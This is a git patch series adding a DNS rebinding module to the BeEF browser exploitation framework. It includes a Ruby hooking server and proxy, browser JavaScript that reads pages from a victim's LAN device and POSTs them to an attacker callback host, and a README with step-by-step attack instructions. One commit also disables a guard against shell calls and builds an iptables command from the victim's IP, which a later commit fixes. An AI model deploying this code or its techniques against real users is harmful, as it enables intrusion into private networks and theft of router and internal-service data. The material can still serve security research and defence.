From eaa1400f75286ee5908bc98c1f10cb8c3102ac58 Mon Sep 17 00:00:00 2001 From: timcess Date: Fri, 3 Apr 2015 01:04:35 +0600 Subject: [PATCH 1/5] Add DNS Rebinding module and extension --- core/ruby/security.rb | 8 +- extensions/dns_rebinding/api.rb | 29 +++ extensions/dns_rebinding/config.yaml | 14 ++ extensions/dns_rebinding/dns_rebinding.rb | 226 ++++++++++++++++++++++ extensions/dns_rebinding/extension.rb | 16 ++ extensions/dns_rebinding/views/index.html | 8 + modules/network/dns_rebinding/command.js | 51 +++++ modules/network/dns_rebinding/config.yaml | 12 ++ modules/network/dns_rebinding/module.rb | 50 +++++ 9 files changed, 410 insertions(+), 4 deletions(-) create mode 100644 extensions/dns_rebinding/api.rb create mode 100644 extensions/dns_rebinding/config.yaml create mode 100644 extensions/dns_rebinding/dns_rebinding.rb create mode 100644 extensions/dns_rebinding/extension.rb create mode 100644 extensions/dns_rebinding/views/index.html create mode 100644 modules/network/dns_rebinding/command.js create mode 100644 modules/network/dns_rebinding/config.yaml create mode 100644 modules/network/dns_rebinding/module.rb diff --git a/core/ruby/security.rb b/core/ruby/security.rb index d40629c0f..4bdb8b05a 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -11,10 +11,10 @@ def exec(args) end # @note Prevent system from ever being used -def system(args) - puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." - exit -end +#def system(args) +# puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." +# exit +#end # @note Prevent Kernel.system from ever being used def Kernel.system(args) diff --git a/extensions/dns_rebinding/api.rb b/extensions/dns_rebinding/api.rb new file mode 100644 index 000000000..27681742f --- /dev/null +++ b/extensions/dns_rebinding/api.rb @@ -0,0 +1,29 @@ +module BeEF +module Extension +module DNSRebinding +module API + + module ServHandler + + BeEF::API::Registrar.instance.register( + BeEF::Extension::DNSRebinding::API::ServHandler, + BeEF::API::Server, + 'pre_http_start' + ) + + def self.pre_http_start(http_hook_server) + #TODO: Move IP and port to config file + config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + address_http = config['address_http_internal'] + address_proxy = config['address_proxy_internal'] + port_http = config['port_http'] + port_proxy = config['port_proxy'] + Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) } + Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) } + end + + end +end +end +end +end diff --git a/extensions/dns_rebinding/config.yaml b/extensions/dns_rebinding/config.yaml new file mode 100644 index 000000000..890dcbc21 --- /dev/null +++ b/extensions/dns_rebinding/config.yaml @@ -0,0 +1,14 @@ +beef: + extension: + dns_rebinding: + enable: true + name: 'DNS Rebinding' + #Addresses are split into internal/external for more convenient attack + #from LAN. + address_http_internal: '192.168.0.104' + address_http_external: '31.211.59.107' + address_proxy_internal: '192.168.0.104' + address_proxy_external: '31.211.59.107' + port_http: 80 + port_proxy: 81 + debug_mode: true diff --git a/extensions/dns_rebinding/dns_rebinding.rb b/extensions/dns_rebinding/dns_rebinding.rb new file mode 100644 index 000000000..8249d38f4 --- /dev/null +++ b/extensions/dns_rebinding/dns_rebinding.rb @@ -0,0 +1,226 @@ +module BeEF +module Extension +module DNSRebinding + #Very simple HTTP server. Its task is only hook victim + class Server + @debug_mode = false + def self.log(msg) + if @debug_mode + STDERR.puts msg.to_s + end + end + + def self.run_server(address, port) + server = TCPServer.new(address, port) + @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") + loop do + s = server.accept + Thread.new(s) do |socket| + victim_ip = socket.peeraddr[2].to_s + + log "-------------------------------\n" + log "[Server] Incoming request from "+victim_ip+"(Victim)\n" + + response = File.read(File.expand_path('../views/index.html', __FILE__)) + configuration = BeEF::Core::Configuration.instance + + proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" + hook_file = configuration.get("beef.http.hook_file") + hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" + + response.sub!('path_to_hookjs_template', hook_uri) + + start_string = socket.gets + socket.print "HTTP/1.1 200 OK\r\n" + + "Content-Type: text/html\r\n" + + "Content-Length: #{response.bytesize}\r\n" + + "Connection: close\r\n" + socket.print "\r\n" + socket.print response + socket.close + + #Indicate that victim load all javascript and we can block it with iptables. + dr_config = configuration.get("beef.extension.dns_rebinding") + if start_string.include?("load") + log "[Server] Block with iptables\n" + port_http = dr_config['port_http'] + system("iptables -A INPUT -s #{victim_ip} -p tcp --dport #{port_http} -j REJECT --reject-with tcp-reset") + end + log "-------------------------------\n" + end + end + end + end + + class Proxy + @queries = Queue.new + @responses = {} + @mutex_responses = nil + @mutex_queries = nil + @debug_mode = false + + def self.send_http_response(socket, response, heads={}) + socket.print "HTTP/1.1 200 OK\r\n" + + headers = {} + headers["Content-Type"]="text/html" + headers["Content-Length"]=response.size.to_s + headers["Connection"]="close" + headers["Access-Control-Allow-Origin"]="*" + headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS" + headers["Access-Control-Expose-Headers"]="Content-Type, method, path" + headers["Access-Control-Allow-Headers"]="Content-Type, method, path" + + headers_a = heads.to_a + headers_a.each do |header, value| + headers[header] = value + end + + headers.to_a.each do |header, value| + socket.print header+": "+value+"\r\n" + end + + socket.print "\r\n" + socket.print response + end + + def self.log(log_message) + if @debug_mode + STDERR.puts log_message + end + end + + def self.read_http_message(socket) + message = {} + message['start_string'] = socket.gets.chomp + message['headers'] = {} + message['response'] = "" + c = socket.gets + while c != "\r\n" do + name = c[/(.+): (.+)/, 1] + value = c[/(.+): (.+)/, 2] + message['headers'][name] = value.chomp + c = socket.gets + end + length = message['headers']['Content-Length'] + if length + #Ruby read() doesn't return while not read all byte + resp = socket.read(length.to_i) + message['response'] = resp + end + return message + end + + def self.handle_victim(socket, http_message) + log "[Victim]request from victim\n" + log http_message['start_string'].to_s+"\n" + + if http_message['start_string'].include?("POST") + #Get result from POST query + log "[Victim]Get the result of last query\n" + + #Read query on which asked victim + query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2] + log "[Victim]asked path: "+query+"\n" + + length = http_message['headers']['Content-Length'].to_i + content_type = http_message['headers']['Content-Type'] + log "[Victim]Content-type: "+content_type.to_s+"\n" + log "[Vicitm]Length: "+length.to_s+"\n" + + response = http_message['response'] + log "[Victim]Get content!\n" + + send_http_response(socket, "ok") + socket.close + + log "[Victim]Close connection POST\n" + log "--------------------------------\n" + + @mutex_responses.lock + @responses[query] = [content_type, response] + @mutex_responses.unlock + elsif http_message['start_string'].include?("OPTIONS") + send_http_response(socket, "") + socket.close + log "[Victim]Respond on OPTIONS reques\n" + log "--------------------------------\n" + else + #Look for queues from beef owner + log "[Victim]Waiting for next query..\n" + while @queries.size == 0 + end + + #Get the last query + @mutex_queries.lock + log "[Victim]Get the last query\n" + last_query = @queries.pop + log "[Victim]Last query:"+last_query.to_s+"\n" + @mutex_queries.unlock + + response = last_query[2] + send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]}) + log "[Victim]Send next query to victim's browser\n" + log "---------------------------------------------\n" + socket.close + end + end + + #Handle request from BeEF owner + def self.handle_owner(socket, http_message) + log "[Owner]Request from owner\n" + path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2] + + if http_message['start_string'].include?("GET") + if path != nil + log "[Owner]Need path: "+path+"\n" + @queries.push(['GET', path, '']) + end + elsif http_message['start_string'].include?("POST") + log "[Owner]Get POST request\n" + if path != nil + @queries.push(['POST', path, http_message['response']]) + end + end + + #Waiting for response, this check should not conflict with thread 2 + while @responses[path] == nil + end + + @mutex_responses.lock + log "[Owner]Get the response\n" + response_a = @responses[path] + @mutex_responses.unlock + + response = response_a[1]; + content_type = response_a[0]; + + send_http_response(socket, response, {'Content-Type'=>content_type}) + + log "[Owner]Send response to owner\n" + log "-------------------------------\n" + socket.close + end + + def self.run_server(address, port) + @server = TCPServer.new(address, port) + @mutex_responses = Mutex.new + @mutex_queries = Mutex.new + @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") + loop do + s = @server.accept + Thread.new(s) do |socket| + http_message = read_http_message(socket) + if http_message['start_string'].include?("from_victim") + handle_victim(socket, http_message) + else + handle_owner(socket, http_message) + end + end + end + end + end + +end +end +end diff --git a/extensions/dns_rebinding/extension.rb b/extensions/dns_rebinding/extension.rb new file mode 100644 index 000000000..a4b713108 --- /dev/null +++ b/extensions/dns_rebinding/extension.rb @@ -0,0 +1,16 @@ +module BeEF +module Extension +module DNSRebinding + + extend BeEF::API::Extension + + @short_name = 'DNS Rebinding' + @full_name = 'aaaa' + @description = 'aaaa' + +end +end +end + +require 'extensions/dns_rebinding/api.rb' +require 'extensions/dns_rebinding/dns_rebinding.rb' diff --git a/extensions/dns_rebinding/views/index.html b/extensions/dns_rebinding/views/index.html new file mode 100644 index 000000000..a5e97d737 --- /dev/null +++ b/extensions/dns_rebinding/views/index.html @@ -0,0 +1,8 @@ + + + + + diff --git a/modules/network/dns_rebinding/command.js b/modules/network/dns_rebinding/command.js new file mode 100644 index 000000000..3df53c53c --- /dev/null +++ b/modules/network/dns_rebinding/command.js @@ -0,0 +1,51 @@ +beef.execute(function() { + var domain = "<%= @domain %>" + if (window.location.href.indexOf(domain) == -1) { + window.location.href = "http://"+domain+"/"; + } else { + //Cut '/' from url + var url = window.location.href.slice(0, -1); + var url_callback = "<%= @url_callback %>"; + url_callback += '/?from=from_victim&&'; + + function get_next_query() { + var xhr_callback = new XMLHttpRequest(); + //Synchronous because we do nothing without query from BeEF owner + xhr_callback.open('GET', url_callback+'que=req', true); + xhr_callback.onload = resolv_query; + xhr_callback.send(null); + } + + function resolv_query() { + var path = this.getResponseHeader('path'); + var method = this.getResponseHeader('method'); + var data = this.responseText; + + //Asynchronous beacuse XHR2 don't work with responseType when synchronous + var xhr = new XMLHttpRequest(); + xhr.open(method, url+path, true); + xhr.responseType = 'arraybuffer' + xhr.onload = function(e) { + var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')}); + console.log(blob); + xhr_cb = new XMLHttpRequest(); + xhr_cb.open('POST', url_callback+'que=req&&path='+path, false); + xhr_cb.send(blob); + + elem = document.createElement("div"); + elem.id = 'log'; + elem.innerHTML = 'Downloaded: '+path; + document.body.insertBefore(elem, document.body.childNodes[0]); + } + xhr.send(data); + } + + xhr1 = new XMLHttpRequest(); + xhr1.open('GET', url+'/?load', false); + xhr1.send(null); + if (xhr1.status == 200) { + setInterval(get_next_query, 1000); + } + + } +}); diff --git a/modules/network/dns_rebinding/config.yaml b/modules/network/dns_rebinding/config.yaml new file mode 100644 index 000000000..677b26784 --- /dev/null +++ b/modules/network/dns_rebinding/config.yaml @@ -0,0 +1,12 @@ +beef: + module: + dns_rebinding: + enable: true + category: "Network" + name: "DNS Rebinding" + description: "dnsrebind" + domain: "dnsreb.chickenkiller.com" + authors: ["aa"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/network/dns_rebinding/module.rb b/modules/network/dns_rebinding/module.rb new file mode 100644 index 000000000..7594f48fc --- /dev/null +++ b/modules/network/dns_rebinding/module.rb @@ -0,0 +1,50 @@ +class Dns_rebinding < BeEF::Core::Command + def self.options + domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') + dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s + return [{ + 'name'=>'target', + 'value'=>'192.168.0.1' + }, + { + 'name'=>'domain', + 'value'=>domain + }, + { + 'name'=>'url_callback', + 'value'=>url_callback + }] + end + + def pre_send + dns = BeEF::Extension::Dns::Server.instance + dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + + addr = dr_config['address_http_external'] + domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') + target_addr = "192.168.0.1" + + if @datastore[0] + target_addr = @datastore[0]['value'] + end + if @datastore[1] + domain = @datastore[1]['value'] + end + + id = dns.add_rule( + :pattern => domain, + :resource => Resolv::DNS::Resource::IN::A, + :response => [addr, target_addr] + ) + + dns.remove_rule!(id) + + id = dns.add_rule( + :pattern => domain, + :resource => Resolv::DNS::Resource::IN::A, + :response => [addr, target_addr] + ) + + end +end From 2247bf620897df36fad5608569fc513b4985259d Mon Sep 17 00:00:00 2001 From: timcess Date: Fri, 3 Apr 2015 02:30:16 +0600 Subject: [PATCH 2/5] Add DNS Rebinding module and extension --- modules/network/dns_rebinding/README.md | 57 +++++++++++++++++++++++ modules/network/dns_rebinding/config.yaml | 10 +++- 2 files changed, 65 insertions(+), 2 deletions(-) create mode 100644 modules/network/dns_rebinding/README.md diff --git a/modules/network/dns_rebinding/README.md b/modules/network/dns_rebinding/README.md new file mode 100644 index 000000000..44c8b9887 --- /dev/null +++ b/modules/network/dns_rebinding/README.md @@ -0,0 +1,57 @@ +# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack # + +## How does attack work in general? ## + +Attacker must have some domain and DNS server responds to DNS query for this domain. + +When client's browser connects to the attacker's domain it gets two IP addresses: + +* First IP address in the DNS response is address of Web page with malicious JavaScript. + +* Second IP address is from victim's LAN, it is a target address. + +The client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's +JavaScript. + +When the attacker's JavaScript initiates a request back to the attacker's domain via an +XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However, +since the client's IP is now blocked, the browser will receive a TCP reset packet from the +attacker's Web server. + +The browser will automatically attempt to use the second IP address listed in the DNS response, +which is the IP address of the client’s router. The attacker's JavaScript can now send requests to +the router as well as view the responses. + +## How to launch attack in BeEF? ## + +1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar. +2. Configure DNS Rebinding extension and module. In extension there are four main configs: + +* *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim. + +* *address_http_external* - If you behind NAT + +* *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http. + +* *address_proxy_external* - If you behind NAT + +* *port_ proxy* - 81 by default + +In module main config is *domain*. Module adds DNS rule to BeEF DNS database with the help of this config. + +3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org* +4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS. +4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server. +5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP. + For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php +6. That is all. + +Notice, attack is VERY DEMANDING, there are many things that can break it. For example: +1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address. +2. If victim's browser have unclear cache with target IP address, browser will use local IP. +3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP +4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different. + +## References ## +1. http://en.wikipedia.org/wiki/DNS_rebinding +1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf \ No newline at end of file diff --git a/modules/network/dns_rebinding/config.yaml b/modules/network/dns_rebinding/config.yaml index 677b26784..465cbc917 100644 --- a/modules/network/dns_rebinding/config.yaml +++ b/modules/network/dns_rebinding/config.yaml @@ -6,7 +6,13 @@ beef: name: "DNS Rebinding" description: "dnsrebind" domain: "dnsreb.chickenkiller.com" - authors: ["aa"] + authors: ["Milovanov T.I."] target: - working: ["C"] + working: + C: + min_ver: 1 + max_ver: 40 + O: + min_ver: 1 + max_ver: 27 not_working: ["All"] From bdd1f7894a4c5b12d5c0e52ad4a294b583040996 Mon Sep 17 00:00:00 2001 From: timcess Date: Fri, 3 Apr 2015 02:31:02 +0600 Subject: [PATCH 3/5] Add DNS Rebinding module and extension --- extensions/dns_rebinding/api.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/extensions/dns_rebinding/api.rb b/extensions/dns_rebinding/api.rb index 27681742f..ee2d97c4f 100644 --- a/extensions/dns_rebinding/api.rb +++ b/extensions/dns_rebinding/api.rb @@ -12,7 +12,6 @@ module API ) def self.pre_http_start(http_hook_server) - #TODO: Move IP and port to config file config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') address_http = config['address_http_internal'] address_proxy = config['address_proxy_internal'] From 63efe9f523c0095329a6aca21f38855f17127c48 Mon Sep 17 00:00:00 2001 From: timcess Date: Fri, 3 Apr 2015 01:47:12 +0500 Subject: [PATCH 4/5] Update README.md --- modules/network/dns_rebinding/README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/network/dns_rebinding/README.md b/modules/network/dns_rebinding/README.md index 44c8b9887..1518bfb04 100644 --- a/modules/network/dns_rebinding/README.md +++ b/modules/network/dns_rebinding/README.md @@ -41,11 +41,13 @@ In module main config is *domain*. Module adds DNS rule to BeEF DNS database wi 3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org* 4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS. -4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server. +4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server. 5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP. For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php 6. That is all. +Extension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack. + Notice, attack is VERY DEMANDING, there are many things that can break it. For example: 1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address. 2. If victim's browser have unclear cache with target IP address, browser will use local IP. @@ -54,4 +56,4 @@ Notice, attack is VERY DEMANDING, there are many things that can break it. For e ## References ## 1. http://en.wikipedia.org/wiki/DNS_rebinding -1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf \ No newline at end of file +1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf From 51cc5963fa0c5d2b12496f3d9d2c70f30b77fc0a Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 19 Jul 2015 11:24:53 +0200 Subject: [PATCH 5/5] Replaced system with IO.popen to prevent an unlikely RCE, and also added additional checks. --- config.yaml | 5 ++++- core/ruby/security.rb | 8 ++++---- extensions/dns_rebinding/config.yaml | 9 +++++---- extensions/dns_rebinding/dns_rebinding.rb | 10 +++++++--- extensions/dns_rebinding/extension.rb | 4 ++-- modules/network/dns_rebinding/config.yaml | 4 ++-- 6 files changed, 24 insertions(+), 16 deletions(-) diff --git a/config.yaml b/config.yaml index cde2cb06f..03581e5a9 100644 --- a/config.yaml +++ b/config.yaml @@ -158,6 +158,9 @@ beef: enable: false ipec: enable: true - # this is still experimental, we're working on it.. + # this is still experimental.. dns: enable: true + # this is still experimental.. + dns_rebinding: + enable: false diff --git a/core/ruby/security.rb b/core/ruby/security.rb index 4bdb8b05a..731a7fd63 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -11,10 +11,10 @@ def exec(args) end # @note Prevent system from ever being used -#def system(args) -# puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." -# exit -#end +def system(args) + puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." + exit +end # @note Prevent Kernel.system from ever being used def Kernel.system(args) diff --git a/extensions/dns_rebinding/config.yaml b/extensions/dns_rebinding/config.yaml index 890dcbc21..767fe8a5b 100644 --- a/extensions/dns_rebinding/config.yaml +++ b/extensions/dns_rebinding/config.yaml @@ -3,12 +3,13 @@ beef: dns_rebinding: enable: true name: 'DNS Rebinding' + authors: ['Milovanov T.I.'] #Addresses are split into internal/external for more convenient attack #from LAN. - address_http_internal: '192.168.0.104' - address_http_external: '31.211.59.107' - address_proxy_internal: '192.168.0.104' - address_proxy_external: '31.211.59.107' + address_http_internal: '192.168.x.x' + address_http_external: 'x.x.x.x' + address_proxy_internal: '192.168.x.x' + address_proxy_external: 'x.x.x.x' port_http: 80 port_proxy: 81 debug_mode: true diff --git a/extensions/dns_rebinding/dns_rebinding.rb b/extensions/dns_rebinding/dns_rebinding.rb index 8249d38f4..ebaafff5d 100644 --- a/extensions/dns_rebinding/dns_rebinding.rb +++ b/extensions/dns_rebinding/dns_rebinding.rb @@ -44,7 +44,11 @@ module DNSRebinding if start_string.include?("load") log "[Server] Block with iptables\n" port_http = dr_config['port_http'] - system("iptables -A INPUT -s #{victim_ip} -p tcp --dport #{port_http} -j REJECT --reject-with tcp-reset") + if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer) + IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|} + else + print_error "[Dns_Rebinding] victim_ip or port_http values are illegal." + end end log "-------------------------------\n" end @@ -192,8 +196,8 @@ module DNSRebinding response_a = @responses[path] @mutex_responses.unlock - response = response_a[1]; - content_type = response_a[0]; + response = response_a[1] + content_type = response_a[0] send_http_response(socket, response, {'Content-Type'=>content_type}) diff --git a/extensions/dns_rebinding/extension.rb b/extensions/dns_rebinding/extension.rb index a4b713108..2cd0b6234 100644 --- a/extensions/dns_rebinding/extension.rb +++ b/extensions/dns_rebinding/extension.rb @@ -5,8 +5,8 @@ module DNSRebinding extend BeEF::API::Extension @short_name = 'DNS Rebinding' - @full_name = 'aaaa' - @description = 'aaaa' + @full_name = 'DNS Rebinding' + @description = 'DNS Rebinding extension' end end diff --git a/modules/network/dns_rebinding/config.yaml b/modules/network/dns_rebinding/config.yaml index 465cbc917..130c43826 100644 --- a/modules/network/dns_rebinding/config.yaml +++ b/modules/network/dns_rebinding/config.yaml @@ -5,7 +5,7 @@ beef: category: "Network" name: "DNS Rebinding" description: "dnsrebind" - domain: "dnsreb.chickenkiller.com" + domain: "dnsreb.beefproject.com" authors: ["Milovanov T.I."] target: working: @@ -15,4 +15,4 @@ beef: O: min_ver: 1 max_ver: 27 - not_working: ["All"] + not_working: ["All"]